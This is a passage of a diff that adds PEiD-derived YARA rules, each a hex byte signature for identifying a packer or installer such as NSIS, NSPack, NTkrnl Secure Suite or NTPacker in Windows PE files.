+        $a at pe.entry_point
+}
+
+rule PEiD_01300_NSIS_Installer____NullSoft_
+{
+    meta:
+        description = "[NSIS Installer -> NullSoft]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 20 53 55 56 33 DB 57 89 5C 24 18 C7 44 24 10 ?? ?? ?? ?? C6 44 24 14 20 FF 15 30 70 40 00 53 FF 15 80 72 40 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01301_NSPack____Nort_Star_Software___http___www_nsdsn_com__
+{
+    meta:
+        description = "[NSPack -> Nort Star Software - http://www.nsdsn.com/]"
+        ep_only = "false"
+    strings:
+        $a = {83 F9 00 74 28 43 8D B5 ?? ?? FF FF 8B 16 56 51 53 52 56 FF 33 FF 73 04 8B 43 08 03 C2 50 FF 95 ?? ?? FF FF 5A 5B 59 5E 83 C3 0C E2 E1 61 9D E9 ?? ?? ?? FF 8B B5 ?? ?? FF FF 0B F6 0F 84 97 00 00 00 8B 95 ?? ?? FF FF 03 F2 83 3E 00 75 0E 83 7E 04 00 75 08}
+    condition:
+        $a
+}
+
+rule PEiD_01302_NSPack____Nort_Star_Software___url____www_nsdsn_com__
+{
+    meta:
+        description = "[NSPack -> Nort Star Software - url:://www.nsdsn.com/]"
+        ep_only = "true"
+    strings:
+        $a = {83 F9 00 74 28 43 8D B5 ?? ?? FF FF 8B 16 56 51 53 52 56 FF 33 FF 73 04 8B 43 08 03 C2 50 FF 95 ?? ?? FF FF 5A 5B 59 5E 83 C3 0C E2 E1 61 9D E9 ?? ?? ?? FF 8B B5 ?? ?? FF FF 0B F6 0F 84 97 00 00 00 8B 95 ?? ?? FF FF 03 F2 83 3E 00 75 0E 83 7E 04 00 75 08 83 7E 08 00 75 02 EB 7A 8B 5E 08 03 DA 53 52 56 8D BD ?? ?? FF FF 03 7E 04 83 C6 0C 57}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01303_NsPacK__Net____LiuXingPing___Sign_by_fly_
+{
+    meta:
+        description = "[NsPacK .Net -> LiuXingPing ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 BB 01 47 65 74 53 79 73 74 65 6D 49 6E 66 6F 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 5E 00 5F 43 6F 72 ?? ?? ?? 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C}
+    condition:
+        $a
+}
+
+rule PEiD_01304_NsPack_1_4____Liuxingping_
+{
+    meta:
+        description = "[NsPack 1.4 -> Liuxingping]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 ?? ?? 40 00 2D ?? ?? 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01305_NsPack_1_4_by_North_Star__Liu_Xing_Ping__
+{
+    meta:
+        description = "[NsPack 1.4 by North Star (Liu Xing Ping)]"
+        ep_only = "false"
+    strings:
+        $a = {8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53}
+    condition:
+        $a
+}
+
+rule PEiD_01306_NsPack_2_3____Liu_Xing_Ping_
+{
+    meta:
+        description = "[NsPack 2.3 -> Liu Xing Ping]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD}
+    condition:
+        $a
+}
+
+rule PEiD_01307_NsPack_2_9____North_Star_
+{
+    meta:
+        description = "[NsPack 2.9 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8A 06 3C 00 74 12 8B F5 8D B5 ?? ?? FF FF 8A 06 3C 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01308_nSPack_2_x____North_Star_Liu_Xing_Ping_
+{
+    meta:
+        description = "[nSPack 2.x -> North Star/Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {FF FF 8B 4E 08 8D 56 10 8B 36 8B FE 83 F9 00 74 3F 8A 07 47 2C E8 3C 01 77 F7 8B 07 80 7A 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01309_nSPack_2_x_3_x__NET____North_Star_Liu_Xing_Ping_
+{
+    meta:
+        description = "[nSPack 2.x/3.x .NET -> North Star/Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 A4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01310_nSPack_2_x_3_x__NET___North_Star_Liu_Xing_Ping_
+{
+    meta:
+        description = "[nSPack 2.x/3.x .NET-> North Star/Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 A4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01311_NsPack_3_0____North_Star_
+{
+    meta:
+        description = "[NsPack 3.0 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 00 74 15 8B F5 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01312_NsPack_3_0_by_North_Star__Liu_Xing_Ping__
+{
+    meta:
+        description = "[NsPack 3.0 by North Star (Liu Xing Ping)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 55 F9 FF FF 66 8B 06 66 83 F8 00 74 15 8B F5 8D B5 7D F9 FF FF 66 8B 06 66 83 F8 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 11 F9 FF FF 89 95}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01313_NsPack_3_1____Liu_Xing_Ping_
+{
+    meta:
+        description = "[NsPack 3.1 -> Liu Xing Ping]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01314_NsPack_3_1____North_Star__h__
+{
+    meta:
+        description = "[NsPack 3.1 -> North Star (h)]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01315_NsPack_3_1_by_North_Star__Liu_Xing_Ping__
+{
+    meta:
+        description = "[NsPack 3.1 by North Star (Liu Xing Ping)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01316_NsPack_3_4____North_Star_
+{
+    meta:
+        description = "[NsPack 3.4 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF 80 38 01 0F 84 42 02 00 00 C6 00 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01317_NsPack_3_4____North_Star_
+{
+    meta:
+        description = "[NsPack 3.4 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF 80 38 01 0F 84 42 02 00 00 C6 00 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01318_NsPack_3_x____Liu_Xing_Ping_
+{
+    meta:
+        description = "[NsPack 3.x -> Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01319_NSPack_3_x____Liu_Xing_Ping_
+{
+    meta:
+        description = "[NSPack 3.x -> Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF ?? 38 01 0F 84 ?? 02 00 00 ?? 00 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01320_NsPack_V1_1____LiuXingPing_
+{
+    meta:
+        description = "[NsPack V1.1 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 57 84 40 00 2D 50 84 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01321_nSpack_V1_3____LiuXingPing_
+{
+    meta:
+        description = "[nSpack V1.3 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01322_NsPack_V1_4____LiuXingPing_
+{
+    meta:
+        description = "[NsPack V1.4 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B1 85 40 00 2D AA 85 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01323_nSpack_V2_3____LiuXingPing_
+{
+    meta:
+        description = "[nSpack V2.3 -> LiuXingPing]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 70 61 63 6B 24 40}
+    condition:
+        $a
+}
+
+rule PEiD_01324_NsPack_v2_3____North_Star_
+{
+    meta:
+        description = "[NsPack v2.3 -> North Star]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 56 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 54 03 00 00 03 D9 50 53 E8 9D 02 00 00 61}
+    condition:
+        $a
+}
+
+rule PEiD_01325_nSpack_V2_x____LiuXingPing_
+{
+    meta:
+        description = "[nSpack V2.x -> LiuXingPing]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5}
+    condition:
+        $a
+}
+rule PEiD_01326_NsPack_V2_X____LiuXingPing_
+{
+    meta:
+        description = "[NsPack V2.X -> LiuXingPing]"
+        ep_only = "false"
+    strings:
+        $a = {6E 73 70 61 63 6B 24 40}
+    condition:
+        $a
+}
+
+rule PEiD_01327_NsPacK_V3_0____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.0 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? ?? ?? 66 8B 06 66 83 F8 00 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01328_NsPacK_V3_1____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.1 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01329_NsPack_v3_1____North_Star_
+{
+    meta:
+        description = "[NsPack v3.1 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5 68 00 80 00 00 6A 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01330_NsPacK_V3_3____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.3 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 00 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01331_NsPacK_V3_4_V3_5____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.4-V3.5 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 01 0F 84}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01332_NsPacK_V3_6____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.6 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 83 38 01 0F 84 47 02 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01333_NsPacK_V3_7____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.7 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 80 39 01 0F ?? ?? ?? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01334_NsPack_v3_7____North_Star__h__
+{
+    meta:
+        description = "[NsPack v3.7 -> North Star (h)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 8D ?? ?? ?? FF 80 39 01 0F 84 42 02 00 00 C6 01 01 8B C5 2B 85 ?? ?? ?? FF 89 85 ?? ?? ?? FF 01 85 ?? ?? ?? FF 8D B5 ?? ?? ?? FF 01 06 55 56 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? ?? FF 85 C0 0F 84 69 03 00 00 89 85 ?? ?? ?? FF E8 00 00 00 00 5B B9 67 03 00 00 03 D9 50 53 E8 B0 02 00 00 5E 5D 8B 36 8B FD 03 BD ?? ?? ?? FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 34 01 13 8B 33 03 7B 04 57 51 53 FF B5 ?? ?? ?? FF FF B5 ?? ?? ?? FF 8B D6 8B CF 8B 85 ?? ?? ?? FF 05 AA 05 00 00 FF D0 5B 59 5F 83 F9 00 74 05 83 C3 08 EB C7 68 00 80 00 00 6A 00 FF B5 ?? ?? ?? FF FF 95 ?? ?? ?? FF 8D B5 ?? ?? ?? FF 8B 4E 08 8D 56 10 8B 36 8B FE 83 F9 00 74 3F 8A 07 47 2C E8 3C 01 77 F7 8B 07 80 7A 01 00 74 14 8A 1A 38 1F 75 E9 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 EB 0A 8A 5F 04 86 C4 C1 C0 10 86 C4 2B C7 03 C6 89 07 83 C7 05 80 EB E8 8B C3 E2 C6 E8 3A 01 00 00 8D 8D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01335_NTkrnl_Secure_Suite____NTkrnl_Team__Blue__
+{
+    meta:
+        description = "[NTkrnl Secure Suite -> NTkrnl Team (Blue)]"
+        ep_only = "false"
+    strings:
+        $a = {68 29 19 43 00 E8 01 00 00 00 C3 C3 A2 A9 61 4E A5 0E C7 A6 59 90 6E 4D 4C DB 36 46 FB 6E C4 45 A3 C2 2E 0E 41 59 1A 50 17 39 62 4D B8 61 24 8E CF D1 0E 9E 7A 66 C0 8D 6B 9C 52 7E 96 46 80 AF}
+    condition:
+        $a
+}
+
+rule PEiD_01336_NTkrnl_Secure_Suite____NTkrnl_team__h__
+{
+    meta:
+        description = "[NTkrnl Secure Suite -> NTkrnl team (h)]"
+        ep_only = "true"
+    strings:
+        $a = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01337_NTkrnl_Secure_Suite____NTkrnl_team__h__
+{
+    meta:
+        description = "[NTkrnl Secure Suite -> NTkrnl team (h)]"
+        ep_only = "false"
+    strings:
+        $a = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 79}
+    condition:
+        $a
+}
+
+rule PEiD_01338_NTkrnl_Secure_Suite_0_1_0_15____NTkrnl_Software_
+{
+    meta:
+        description = "[NTkrnl Secure Suite 0.1-0.15 -> NTkrnl Software]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01339_NTkrnl_Secure_Suite_V0_1____NTkrnl_Software___Sign_by_fly_
+{
+    meta:
+        description = "[NTkrnl Secure Suite V0.1 -> NTkrnl Software ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+rule PEiD_01340_NTkrnl_Secure_Suite_V0_1_DLL____NTkrnl_Software___Sign_by_fly_
+{
+    meta:
+        description = "[NTkrnl Secure Suite V0.1 DLL -> NTkrnl Software ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 8B 44 24 04 05 ?? ?? ?? ?? 50 E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01341_NTKrnlPacker____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[NTKrnlPacker -> Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+    condition:
+        $a
+}
+rule PEiD_01342_NTPacker_1_0____ErazerZ_
+{
+    meta:
+        description = "[NTPacker 1.0 -> ErazerZ]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E0 53 33 C0 89 45 E0 89 45 E4 89 45 E8 89 45 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 8D 4D EC BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FC FF FF 8B 55 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 8D 4D E8 BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FE FF FF 8B 55 E8 B8 ?? ?? 40 00 E8 ?? ?? FF FF B8 ?? ?? 40 00 E8 ?? FB FF FF 8B D8 A1 ?? ?? 40 00 BA ?? ?? 40 00 E8 ?? ?? FF FF 75 26 8B D3 A1 ?? ?? 40 00 E8 ?? ?? FF FF 84 C0 75 2A 8D 55 E4 33 C0 E8 ?? ?? FF FF 8B 45 E4 8B D3 E8 ?? ?? FF FF EB 14 8D 55 E0 33 C0 E8 ?? ?? FF FF 8B 45 E0 8B D3 E8 ?? ?? FF FF 6A 00 E8 ?? ?? FF FF 33 C0 5A 59 59 64 89 10 68 ?? ?? 40 00 8D 45 E0 BA 04 00 00 00 E8 ?? ?? FF FF C3 E9 ?? ?? FF FF EB EB 5B E8 ?? ?? FF FF 00 00 00 FF FF FF FF 01 00 00 00 25 00 00 00 FF FF FF FF 01 00 00 00 5C 00 00 00 FF FF FF FF 06 00 00 00 53 45 52 56 45 52 00 00 FF FF FF FF 01 00 00 00 31}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01343_NTPacker_V2_X____ErazerZ___Sign_by_fly_
+{
+    meta:
+        description = "[NTPacker V2.X -> ErazerZ ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {4B 57 69 6E 64 6F 77 73 00 10 55 54 79 70 65 73 00 00 3F 75 6E 74 4D 61 69 6E 46 75 6E 63 74 69 6F 6E 73 00 00 47 75 6E 74 42 79 70 61 73 73 00 00 B7 61 50 4C 69 62 75 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01344_Nullsoft_Install_System_1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System 1.xx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01345_Nullsoft_Install_System_1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System 1.xx]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74}
+    condition:
+        $a
+}
+
+rule PEiD_01346_Nullsoft_Install_System_2_0_RC2_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0 RC2]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01347_Nullsoft_Install_System_2_06_
+{
+    meta:
+        description = "[Nullsoft Install System 2.06]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 20 53 55 56 33 DB 57 89 5C 24 18 C7 44 24 10 ?? ?? ?? ?? C6 44 24 14 20 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 02 23 00 00 BE ?? ?? ?? ?? 56}
+    condition:
+        $a
+}
+
+rule PEiD_01348_Nullsoft_Install_System_2_0_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0]"
+        ep_only = "false"
+    strings:
